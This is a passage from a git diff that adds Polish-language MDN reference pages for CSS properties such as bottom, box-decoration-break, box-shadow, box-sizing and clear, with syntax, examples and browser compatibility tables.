dodatnią.</dd> + <dt><percentage> </dt> + <dd>Procenty wysokości zawierającego bloku, używane jak opisano w <a href="#Podsumowanie">podsumowaniu</a>.</dd> + <dt><code>auto</code> </dt> + <dd>Dla elementów pozycjonowanych absolutnie pozycja elementu oparta jest na własności {{ Cssxref("top") }} i przyjmuje <code>height: auto</code> jako wysokość bazującą na zawartości. Dla elementów pozycjonowanych relatywnie przesunięcie elementu z jego oryginalnej pozycji w oparciu o własność {{ Cssxref("top") }} lub, jeśli <code>top</code> jest również ustawione na <code>auto</code>, nie przesuwa wcale.</dd> + <dt><code>inherit</code> </dt> + <dd>Dziedziczy wartość wyliczoną od elementu rodzica (który może nie być zawierającym go blokiem). Ta wartość wyliczona jest wtedy traktowana jak to było 'z <length>, <percentage> lub <code>auto</code><strong>.</strong></dd> +</dl> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<pre>element { + position: absolute; + bottom: 20px; + height: 200px; + border: 1px solid #000; +} +</pre> + +<p>Poniższa przykładowa strona porównuje <code>position:absolute</code> z <code>position:fixed</code>. Kiedy normalny tekst staje się wyższy niż wyświetlana część strony (obszar okna przeglądarki), elementy blokowe pozycjonowane przy użyciu <code>position:absolute</code> przesuwają się razem ze stroną, podczas, gdy elementy blokowe pozycjonowane przy użyciu <code>position:fixed</code> nie przesuwają się. Zauważ, że IE6 nie wspiera <code>position:fixed</code>.</p> + +<pre><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" + "http://www.w3.org/TR/html4/strict.dtd"> +<html> +<head> +<meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> +<title>Position at bottom, absolute or fixed</title> +<style type="text/css"> +p {font-size:30px; line-height:3em;} +div.pos {width:49%; text-align:center; border:2px solid #00f;} +div#abs {position:absolute; bottom:0; left:0;} +div#fix {position:fixed; bottom:0; right:0;} +</style> +</head> +<body> + <p>This<br>is<br>some<br>tall,<br>tall, + <br>tall,<br>tall,<br>tall<br>content.</p> + <div id="fix" class="pos"><p>Fixed</p></div> + <div id="abs" class="pos"><p>Absolute</p></div> +</body> +</html></pre> + +<h2 id="Notatki" name="Notatki">Notatki</h2> + +<p>Dla elementów pozycjonowanych absolutnie, których zawierający je blok jest oparty na elemencie blokowym, ta własność jest przesunięciem względem krawędzi dopełnienia tego elementu.</p> + +<p>Dla elementów pozycjonowanych absolutnie własność <code>bottom</code> nie ma widocznych efektów, jeśli wszystkie wartości {{ Cssxref("top") }}, {{ Cssxref("height") }} i {{ Cssxref("margin-top") }}<em>nie</em> są <code>auto</code> (co jest domyślną wartością dla <code>top</code> oraz <code>height</code>).</p> + +<h2 id="Specifications" name="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSS2.1', 'visuren.html#choose-position', 'bottom')}}</td> + <td>{{Spec2('CSS2.1')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>1.0</td> + <td>{{CompatGeckoDesktop("1.0")}}</td> + <td>5<sup>[1]</sup></td> + <td>6</td> + <td>1.0 (85)</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("1.9.2")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] In Internet Explorer versions before 7.0, when both {{cssxref("top")}} and <code>bottom</code> are specified, the element position is over-constrained and the {{cssxref("top")}} property has precedence. In that case the computed value of <code>bottom</code> is set to <code>-top</code>, while its specified value is ignored.</p> diff --git a/files/pl/web/css/box-decoration-break/index.html b/files/pl/web/css/box-decoration-break/index.html new file mode 100644 index 0000000000..0bd73ac2a9 --- /dev/null +++ b/files/pl/web/css/box-decoration-break/index.html @@ -0,0 +1,202 @@ +--- +title: box-decoration-break +slug: Web/CSS/box-decoration-break +tags: + - CSS + - CSS Fragmentation + - CSS Property + - Experimental +translation_of: Web/CSS/box-decoration-break +--- +<p>{{CSSRef}}{{SeeCompatTable}}</p> + +<h2 id="Summary">Summary</h2> + +<p>The <strong><code>box-decoration-break</code></strong> CSS property specifies how the {{ Cssxref("background") }}, {{ Cssxref("padding") }}, {{ Cssxref("border") }}, {{ Cssxref("border-image") }}, {{ Cssxref("box-shadow") }}, {{ Cssxref("margin") }} and {{ Cssxref("clip") }} of an element is applied when the box for the element is fragmented. Fragmentation occurs when an inline box wraps onto multiple lines, or when a block spans more than one column inside a column layout container, or spans a page break when printed. Each piece of the rendering for the element is called a fragment.</p> + +<p>{{cssinfo}}</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="brush:css">box-decoration-break: slice; +box-decoration-break: clone; + +box-decoration-break: initial; +box-decoration-break: inherit; +box-decoration-break: unset; +</pre> + +<h3 id="Values">Values</h3> + +<dl> + <dt><code>slice</code></dt> + <dd>The element is rendered as if its box were not fragmented, and then the rendering for this hypothetical box is sliced into pieces for each line/column/page. Note that the hypothetical box can be different for each fragment since it uses its own height if the break occurs in the inline direction, and its own width if the break occurs in the block direction. See the CSS specification for details.</dd> + <dt><code>clone</code></dt> + <dd>Each box fragment is rendered independently with the specified border, padding and margin wrapping each fragment. The {{ Cssxref("border-radius") }}, {{ Cssxref("border-image") }} and {{ Cssxref("box-shadow") }}, are applied to each fragment independently. The background is drawn independently in each fragment which means that a background image with {{ Cssxref("background-repeat") }}: <code>no-repeat</code> may be repeated multiple times.</dd> +</dl> + +<h3 id="Formal_syntax">Formal syntax</h3> + +<pre class="syntaxbox">{{csssyntax}}</pre> + +<h2 id="Examples">Examples</h2> + +<h3 id="Inline_box_fragments">Inline box fragments</h3> + +<p>An inline element that contains line-breaks styled with:</p> + +<pre class="brush:css">.example { + background: linear-gradient(to bottom right, yellow, green); + box-shadow: + 8px 8px 10px 0px deeppink, + -5px -5px 5px 0px blue, + 5px 5px 15px 0px yellow; + padding: 0em 1em; + border-radius: 16px; + border-style: solid; + margin-left: 10px; + font: 24px sans-serif; + line-height: 2; +} + +... +<span class="example">The<br>quick<br>orange fox</span></pre> + +<p>Results in:</p> + +<p><img alt="A screenshot of the rendering of an inline element styled with box-decoration-break:slice and styles given in the example." src="https://mdn.mozillademos.org/files/8167/box-decoration-break-inline-slice.png" style="height: 177px; width: 191px;"></p> + +<p>Adding <code>box-decoration-break:clone</code> to the above styles:</p> + +<pre class="brush:css"> -webkit-box-decoration-break: clone; + -o-box-decoration-break: clone; + box-decoration-break: clone; +</pre> + +<p>Results in:</p> + +<p><img alt="A screenshot of the rendering of an inline element styled with box-decoration-break:clone and styles given in the example" src="https://mdn.mozillademos.org/files/8169/box-decoration-break-inline-clone.png" style="height: 180px; width: 231px;"></p> + +<p>You can <a href="https://mdn.mozillademos.org/files/8179/box-decoration-break-inline.html">try the two inline examples above</a> in your browser.</p> + +<p>Here's an example of an inline element using a large <code>border-radius</code> value. The second <code>"iM"</code> has a line-break between the <code>"i"</code> and the <code>"M"</code>. For comparison, the first <code>"iM"</code> is without line-breaks. Note that if you stack the rendering of the two fragments horizontally next to each other it will result in the non-fragmented rendering.</p> + +<p><img alt="A screenshot of the rendering of the second inline element example." src="https://mdn.mozillademos.org/files/8189/box-decoration-break-slice-inline-2.png" style="height: 184px; width: 108px;"></p> + +<p><a href="https://mdn.mozillademos.org/files/8191/box-decoration-break-inline-extreme.html">Try the above example</a> in your browser.</p> + +<h3 id="Block_box_fragments">Block box fragments</h3> + +<p>A block element with similar styles as above, first without any fragmentation:</p> + +<p><img alt="A screenshot of the rendering of the block element used in the examples without any fragmentation." src="https://mdn.mozillademos.org/files/8181/box-decoration-break-block.png" style="height: 149px; width: 333px;"></p> + +<p>Fragmenting the above block into three columns results in:</p> + +<p><img alt="A screenshot of the rendering of the fragmented block used in the examples styled with box-decoration-break:slice." src="https://mdn.mozillademos.org/files/8183/box-decoration-break-block-slice.png" style="height: 55px; max-width: none; width: 1025px;"></p> + +<p>Note that stacking these pieces vertically will result in the non-fragmented rendering.</p> + +<p>Now the same example styled with <code>box-decoration-break:clone</code></p> + +<p><img alt="A screenshot of the rendering of the fragmented block used in the examples styled with box-decoration-break:clone." src="https://mdn.mozillademos.org/files/8185/box-decoration-break-block-clone.png" style="height: 61px; max-width: none; width: 1023px;"></p> + +<p>Note here that each fragment has an identical replicated border, box-shadow and background.</p> + +<p>You can <a href="https://mdn.mozillademos.org/files/8187/box-decoration-break-block.html">try the block examples above</a> in your browser.</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{ SpecName('CSS3 Fragmentation', '#break-decoration', 'box-decoration-break') }}</td> + <td>{{ Spec2('CSS3 Fragmentation') }}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Support on inline elements</td> + <td>{{ CompatVersionUnknown() }}{{property_prefix("-webkit")}}</td> + <td>{{CompatGeckoDesktop(32.0)}} [1]</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}{{property_prefix("-o")}}</td> + <td>{{ CompatUnknown() }}</td> + </tr> + <tr> + <td>Support on non-inline element</td> + <td>{{CompatNo}}</td> + <td>{{CompatGeckoDesktop(32.0)}} [1]</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Support on inline elements</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatGeckoMobile("32.0")}}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + </tr> + <tr> + <td>Support on non-inline element</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{ CompatGeckoMobile("32.0")}}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] Note that Firefox implemented an non-standard version of this property before Firefox 32 named {{ Cssxref("-moz-background-inline-policy") }}. That property is unsupported since Firefox 32.</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/CSS/CSS_Reference" title="CSS Reference">CSS Reference</a></li> +</ul> diff --git a/files/pl/web/css/box-direction/index.html b/files/pl/web/css/box-direction/index.html new file mode 100644 index 0000000000..eb85a1dad0 --- /dev/null +++ b/files/pl/web/css/box-direction/index.html @@ -0,0 +1,72 @@ +--- +title: '-moz-box-direction' +slug: Web/CSS/box-direction +tags: + - CSS + - 'CSS:Dokumentacje' + - 'CSS:Rozszerzenia_Mozilli' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/box-direction +--- +<p>{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>{{warning("This property reflects an old version of the specification. The <code>-moz-box-direction</code> will only be used for XUL while the standard <code>box-direction</code> has been replaced by <code>flex-direction</code> (which belongs to the CSS Flexible Box Layout Module currently under the Working Draft status).")}}</p> + +<p>W aplikacjach opartych na Mozilli <code>-moz-box-direction</code> określa, czy pudełko rozkłada swoją zawartość normalnie (od górnej lub lewej krawędzi), czy w odwróceniu (od dolnej lub prawej krawędzi).</p> + +<ul> + <li>Wartość początkowa: normal</li> + <li>Dotyczy: elementy z własnością CSS <a href="pl/CSS/display">display</a> o wartości -moz-box lub -moz-inline-box</li> + <li>Dziedziczony: nie</li> + <li>Procenty: nie dotyczą</li> + <li>Wartość wyliczona: jako określone</li> +</ul> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">-moz-box-direction: normal | reverse +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt>normal</dt> + <dd>Pudełko rozkłada swoją zawartość od początku (lewej lub górnej krawędzi).</dd> + <dt>reverse</dt> + <dd>Pudełko rozkłada swoją zawartość od końca (prawej lub dolnej krawędzi).</dd> +</dl> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<pre>vbox.example { + -moz-box-direction: reverse; /* układ od dołu do góry */ +} +</pre> + +<h2 id="Notatki" name="Notatki">Notatki</h2> + +<p>Krawędź pudełka określona jako<em>start</em> dla docelowego układu zależy od orientacji pudełka:</p> + +<table style="text-align: center;"> + <tbody> + <tr> + <td style="text-align: right;"><strong>Pozioma</strong></td> + <td>lewa</td> + </tr> + <tr> + <td style="text-align: right;"><strong>Pionowa</strong></td> + <td>górna</td> + </tr> + </tbody> +</table> + +<p>Krawędź przeciwna do początkowej określana jest jako<em>end</em>.</p> + +<p>Jeśli kierunek jest ustawiony przy użyciu atrybutu dir elementu, wtedy styl jest ignorowany.</p> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<p><a href="pl/CSS/-moz-box-orient">CSS:-moz-box-orient</a></p> diff --git a/files/pl/web/css/box-shadow/index.html b/files/pl/web/css/box-shadow/index.html new file mode 100644 index 0000000000..feb07aaf0f --- /dev/null +++ b/files/pl/web/css/box-shadow/index.html @@ -0,0 +1,222 @@ +--- +title: box-shadow +slug: Web/CSS/box-shadow +tags: + - Adnotacja + - CSS + - CSS3 + - Grafika + - Referencja + - Tło CSS + - Tło CSS3 + - Układ + - Właściwość CSS + - sieć +translation_of: Web/CSS/box-shadow +--- +<p>{{CSSRef()}}</p> + +<p> </p> + +<div class="callout-box"> +<p><strong>Generator box-shadow</strong></p> + +<p><a href="/en-US/docs/Web/CSS/Tools/Box-shadow_generator" title="/en-US/docs/Web/CSS/Tools/Box-shadow_generator">Interaktywne narzędzie</a> pozwalające stworzyć efekt box-shadow.</p> +</div> + +<p><span class="seoSummary"><code><font face="Open Sans, sans-serif">Właściwość CSS </font>box-shadow</code> określa jeden lub więcej efektów cieniowych jako przecinkowo-rozdzielaną listę.</span> Pozwala na rzucenie cienia z prawie każdego elementu. Jeśli {{ cssxref("-moz-border-radius") }} jest zadeklarowany na elemencie na którym zadeklarowany jest także <code>box-shadow</code>, właściwość przybiera wartość z {{ cssxref("-moz-border-radius") }} i tworzy zaokrąglony cień. Użycie <code>box-shadow</code> wraz z {{ cssxref("z-index") }} daje taki sam efekt jak wielokrotne użycie <a href="/en-US/CSS/text-shadow" title="text-shadow">cienia tekstu</a> (pierwszy zadeklarowany cień jest wyświetlany ponad wszystkimi).</p> + +<ul> + <li><a href="/pl/docs/Web/CSS/Warto%C5%9B%C4%87_pocz%C4%85tkowa">Wartość początkowa</a>: Szczegóły widoczne poniżej.</li> + <li>Dotyczy: Każdy element.</li> + <li><a href="/pl/docs/Web/CSS/dziedziczenie">Dziedziczona</a>: Nie.</li> + <li><a href="/pl/docs/Web/CSS/@media">@media</a>: Wizualna.</li> + <li>Wartość wyliczona: Każda długość absolutna; każdy kolor; inaczej jak zapisano poniżej.</li> + <li>Animowana: Tak, jako lista cieni.</li> + <li>Porządek kanoniczny: Unikatowy niedwuznaczny porządek określany według formalnej gramatyki. </li> +</ul> + +<h2 id="Syntax" name="Syntax">Składnia</h2> + +<pre class="syntaxbox">box-shadow: none | [inset? && [ <offset-x> <offset-y> <blur-radius>? <spread-radius>? <color>? ] ]#</pre> + +<h3 id="Values" name="Values">Wartości</h3> + +<dl> + <dt><code>inset</code></dt> + <dd>Jeśli inset nie zostanie ustalony (domyślnie), cień będzie wyświetlany ponad elementem. Jeśli zostanie użyty <code>inset,</code> cień zawrze się wewnątrz elementu. Cienie wewnętrzne są rysowane wewnątrz elementu (nawet przeźroczyste), ponad tłem, ale poniżej zawartości.</dd> + <dt><code><offset-x></code> <code><offset-y></code></dt> + <dd>Są dwie wartości {{ cssxref("<length>") }}, które określają odległość. <code><offset-x></code> oznacza odległość poziomą. Ujemne wartości umieszczają cień na lewo od elementu. <code><offset-y></code> wyznacza odległość pionową. Ujemne wartości umiesczają cień ponad elementem. Zobacz {{ cssxref("<length>") }} dla możliwych jednostek.<br> + Jeśli obydwie wartości przyjmują <code>0</code>, cień jest umiejscowiony za elementem (i może swtorzyć efekt rozmycia jeśli <code><blur-radius></code> oraz/lub <code><spread-radius></code> jest określony).</dd> + <dt><code><blur-radius></code></dt> + <dd>To jest trzecia wartość {{ cssxref("<length>") }}. Im większa, tym większe jest rozmycie i w efekcie cień jest większy oraz łagodniejszy. Ujemne wartości są niedozwolone. Jeśli nie ustalona, przyjmuje wartość domyślną <code>0</code> (krawędź cienia jest ostra).</dd> + <dt><code><spread-radius></code></dt> + <dd>To jest czwarta wartość {{ cssxref("<length>") }}. Nieujemne wartości będą powodować zwiększanie się cienia, a ujemne jego zmniejszanie. Jeśli nie ustalona, domyślnie przyjmuje wartość <code>0</code> (cień będzie tego samego rozmiaru co element).</dd> + <dt><code><color></code></dt> + <dd>Zobacz {{cssxref("<color>")}} dla możliwych słów kluczowych oraz notacji.<br> + Jeśli nie ustalona, przyjmuje kolor zależny od przeglądarki - aktualnie jest to wartość {{ cssxref("color") }}, lecz Safari tworzy przeźroczysty cień w tej sytuacji.</dd> +</dl> + +<h2 id="Live_examples" name="Live_examples">Przykłady</h2> + +<ul> + <li><a class="external" href="http://www.elektronotdienst-nuernberg.de/bugs/box-shadow_inset.html" title="http://www.elektronotdienst-nuernberg.de/bugs/box-shadow_inset.html">Test box-shadow</a></li> + <li><a class="external" href="http://markusstange.wordpress.com/2009/02/15/fun-with-box-shadows/" title="http://markusstange.wordpress.com/2009/02/15/fun-with-box-shadows/">Kurs oraz przykłady box-shadow</a></li> +</ul> + +<pre style="-moz-box-shadow: 60px -16px teal; -webkit-box-shadow: 60px -16px teal; box-shadow: 60px -16px teal; float: left; margin: 1em;">box-shadow: 60px -16px teal;</pre> + +<pre style="-moz-box-shadow: 10px 5px 5px black; -webkit-box-shadow: 10px 5px 5px black; box-shadow: 10px 5px 5px black; float: left; margin: 1em;">box-shadow: 10px 5px 5px black;</pre> + +<pre style="-moz-box-shadow: 3px 3px red, -1em 0pt 0.4em olive; -webkit-box-shadow: 3px 3px red, -1em 0 0.4em olive; box-shadow: 3px 3px red, -1em 0 0.4em olive; float: left; margin: 1em;">box-shadow: 3px 3px red, -1em 0 0.4em olive;</pre> + +<pre style="-moz-box-shadow: 5em 1em gold inset; -webkit-box-shadow: inset 5em 1em gold; box-shadow: inset 5em 1em gold; float: left; margin: 1em;">box-shadow: inset 5em 1em gold;</pre> + +<pre style="-moz-box-shadow: 0 0 1em gold; -webkit-box-shadow: 0 0 1em gold; box-shadow: 0 0 1em gold; float: left; margin: 1em;">box-shadow: 0 0 1em gold;</pre> + +<pre style="-moz-box-shadow: 0 0 1em gold inset; -webkit-box-shadow: inset 0 0 1em gold; box-shadow: inset 0 0 1em gold; float: left; margin: 1em;">box-shadow: inset 0 0 1em gold;</pre> + +<pre style="-moz-box-shadow: 0 0 1em gold inset, 0 0 1em red; -webkit-box-shadow: inset 0 0 1em gold, 0 0 1em red; box-shadow: inset 0 0 1em gold, 0 0 1em red; float: left; margin: 1em;">box-shadow: inset 0 0 1em gold, 0 0 1em red;</pre> + +<h2 class="cleared" id="Specifications" name="Specifications">Specyfikacja</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{ SpecName('CSS3 Backgrounds', '#box-shadow', 'box-shadow') }}</td> + <td>{{ Spec2('CSS3 Backgrounds') }}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">Zgodność z przeglądarkami</h2> + +<p>{{ CompatibilityTable }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Właściwość</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Podstawowa obsługa</td> + <td>10.0<br> + 1.0{{ property_prefix("-webkit") }}</td> + <td>{{ CompatGeckoDesktop("2.0") }}<br> + {{ CompatGeckoDesktop("1.9.1") }}{{ property_prefix("-moz") }}</td> + <td>9.0 (Zobacz notatki)</td> + <td>10.5</td> + <td>5.1 (WebKit 534)<br> + 3.0 (WebKit 522){{ property_prefix("-webkit") }}</td> + </tr> + <tr> + <td>Wielokrotne cienie</td> + <td>10.0<br> + 1.0{{ property_prefix("-webkit") }}</td> + <td>{{ CompatGeckoDesktop("2.0") }}<br> + {{ CompatGeckoDesktop("1.9.1") }}{{ property_prefix("-moz") }}</td> + <td>9.0</td> + <td>10.5</td> + <td>5.1 (WebKit 534)<br> + 3.0 (WebKit 522){{ property_prefix("-webkit") }}</td> + </tr> + <tr> + <td>Wartość<code> inset</code></td> + <td>10.0<br> + 4.0{{ property_prefix("-webkit") }}</td> + <td>{{ CompatGeckoDesktop("2.0") }}<br> + {{ CompatGeckoDesktop("1.9.1") }}{{ property_prefix("-moz") }}</td> + <td>9.0</td> + <td>10.5</td> + <td>5.1 (WebKit 534)<br> + 5.0 (WebKit 533){{ property_prefix("-webkit") }}</td> + </tr> + <tr> + <td><code>spread-radius</code></td> + <td>10.0<br> + 4.0{{ property_prefix("-webkit") }}</td> + <td>{{ CompatGeckoDesktop("2.0") }}<br> + {{ CompatGeckoDesktop("1.9.1") }}{{ property_prefix("-moz") }}</td> + <td>9.0</td> + <td>10.5</td> + <td>5.1 (WebKit 534)<br> + 5.0 (WebKit 533){{ property_prefix("-webkit") }}</td> + </tr> + </tbody> +</table> + +<p> </p> + +<p> </p> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Właściwość</th> + <th>iOS Safari</th> + <th>Opera Mini</th> + <th>Opera Mobile</th> + <th>Android Browser</th> + </tr> + <tr> + <td>Podstawowa obsługa</td> + <td> + <p>5.0<br> + {{ CompatVersionUnknown }}{{ property_prefix("-webkit") }}</p> + </td> + <td>{{ CompatUnknown }}</td> + <td>Obsługuje</td> + <td>Obsługuje (2.2 tested) {{ property_prefix("-webkit") }}</td> + </tr> + <tr> + <td>Wielokrotne cienie</td> + <td>5.0<br> + {{ CompatVersionUnknown }}{{ property_prefix("-webkit") }}</td> + <td>{{ CompatUnknown }}</td> + <td>{{ CompatUnknown }}</td> + <td>{{ CompatUnknown }}</td> + </tr> + <tr> + <td>Wartość <code>inset</code></td> + <td>5.0<br> + {{ CompatVersionUnknown }}{{ property_prefix("-webkit") }}</td> + <td>{{ CompatUnknown }}</td> + <td>{{ CompatUnknown }}</td> + <td>{{ CompatUnknown }}</td> + </tr> + <tr> + <td><code>spread-radius</code></td> + <td>5.0<br> + {{ CompatVersionUnknown }}{{ property_prefix("-webkit") }}</td> + <td>{{ CompatUnknown }}</td> + <td>{{ CompatUnknown }}</td> + <td>{{ CompatUnknown }}</td> + </tr> + </tbody> +</table> +</div> + +<h3 id="Notatki">Notatki</h3> + +<ul> + <li>Od wersji 5.5, Internet Explorer obsługuje Microsoft's <a class="external" href="http://msdn.microsoft.com/en-us/library/ms532985%28VS.85,loband%29.aspx" title="http://msdn.microsoft.com/en-us/library/ms532985(VS.85,loband).aspx">DropShadow</a> i filtr <a class="external" href="http://msdn.microsoft.com/en-us/library/ms533086%28VS.85,loband%29.aspx" title="http://msdn.microsoft.com/en-us/library/ms533086(VS.85,loband).aspx">Shadow</a>. Możesz użyć tych rozszerzeń aby stworzyć cień (chociaż składnia oraz efekt różnią się od CSS3).</li> + <li>Cienie mają wpły na układ w starszych silnikach Gecko, Presto i WebKit; np. jeśli utworzomy zewnętrzny cień to przy elemencie z <code>width: 100%</code> zobaczysz pasek przewijania.</li> + <li>W Gecko 13 (Firefox 13) zostało usunięte wsparcie dla <code>-moz-box-shadow</code>. Od tego czasu, tylko wersja bez <code>-moz- jest wspierana</code>.</li> + <li>Aby uzyskać efekt <code>box-shadow</code> w IE9 lub późniejszych, musisz ustawić {{ cssxref("border-collapse") }} na <code>separate</code>.</li> +</ul> diff --git a/files/pl/web/css/box-sizing/index.html b/files/pl/web/css/box-sizing/index.html new file mode 100644 index 0000000000..35cb212b99 --- /dev/null +++ b/files/pl/web/css/box-sizing/index.html @@ -0,0 +1,45 @@ +--- +title: box-sizing +slug: Web/CSS/box-sizing +tags: + - CSS +translation_of: Web/CSS/box-sizing +--- +<p>{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p><code>box-sizing</code> jest używane przez przeglądarki oparte na Mozilli do zmiany domyślnego modelu pudełkowego CSS, używanego do obliczania szerokości i wysokości elementów. Możliwe jest użycie tej własności do zezwolenia Mozilli na naśladowanie zachowania przeglądarek, które nieprawidłowo wspierają specyfikację modelu pudełkowego CSS, chociaż nie jest to zalecane, jako że większość przeglądarek zgodnych ze standardami nie wspiera tej własności.</p> + +<ul> + <li>Wartość początkowa: content-box</li> + <li>Dotyczy: wszystkie elementy</li> + <li>Dziedziczony: nie</li> + <li>Procenty: nie dotyczą</li> + <li>Wartość wyliczona: jako określone</li> +</ul> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">box-sizing: content-box | border-box | padding-box +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt>content-box</dt> + <dd>Jest to domyślny styl, jak określa go standard CSS. Własności <code>width</code> i <code>height</code> są wymierzane zawierając tylko zawartość, ale nie <code>border</code>, <code>margin</code> lub <code>padding</code>.</dd> + <dt>padding-box</dt> + <dd>Własności <code>width</code> i <code>height</code> zawierają rozmiar dopełnienia (<code>padding</code>), ale nie zawierają obramowania (<code>border</code>) ani marginesu (<code>margin</code>).</dd> + <dt>border-box</dt> + <dd>Własności <code>width</code> i <code>height</code> zawierają dopełnienie i obramowanie, ale nie margines. Jest to model pudełkowy używany przez Internet Explorer, kiedy dokument nie jest w trybie zgodności ze standardami <a class="external" href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dhtmltechcol/dndhtml/cssenhancements.asp">. </a></dd> +</dl> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<pre>.exampleone { + box-sizing: padding-box; +} +</pre> + +<div class="noinclude"> </div> diff --git a/files/pl/web/css/clear/index.html b/files/pl/web/css/clear/index.html new file mode 100644 index 0000000000..5948d08cc0 --- /dev/null +++ b/files/pl/web/css/clear/index.html @@ -0,0 +1,98 @@ +--- +title: clear +slug: Web/CSS/clear +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/clear +--- +<p>{{ CSSRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Właściwość clear określa, czy dany element pojawi się obok <a href="pl/CSS/float">pływających</a> elementów, które go poprzedzają, czy też ma zostać przesunięty poniżej tychże.</p> + +<ul> + <li>{{ Xref_cssinitial() }}: {{ Cssxref("none") }}</li> + <li>Stosowana do: elementy blokowe (włączając pływające)</li> + <li>{{ Xref_cssinherited() }}: nie</li> + <li>Media: {{ Xref_cssvisual() }}</li> + <li>{{ Xref_csscomputed() }}:</li> +</ul> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval">clear: none | left | right | both | <a href="pl/CSS/inherit">inherit</a> +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<ul> + <li><strong>none</strong> : Element<em>nie</em> jest przesuwany poniżej elementów pływających.</li> + <li><strong>left</strong> : Element jest przesuwany poniżej elementów pływających po lewej.</li> + <li><strong>right</strong> : Element jest przesuwany poniżej elementów pływających po prawej.</li> + <li><strong>both</strong> : Element jest przesuwany poniżej elementów pływających po obu stronach.</li> +</ul> + +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> + +<p><a href="/samples/cssref/clear.html">Zobacz przykład</a></p> + +<pre>h1 { clear: none } +h2 { clear: right }</pre> + +<h3 id="Notatki" name="Notatki">Notatki</h3> + +<p>Własność <code>clear</code> stosuje się zarówno do pływających, jak i niepływających elementów.</p> + +<p>Kiedy odnosi się do niepływających elementów 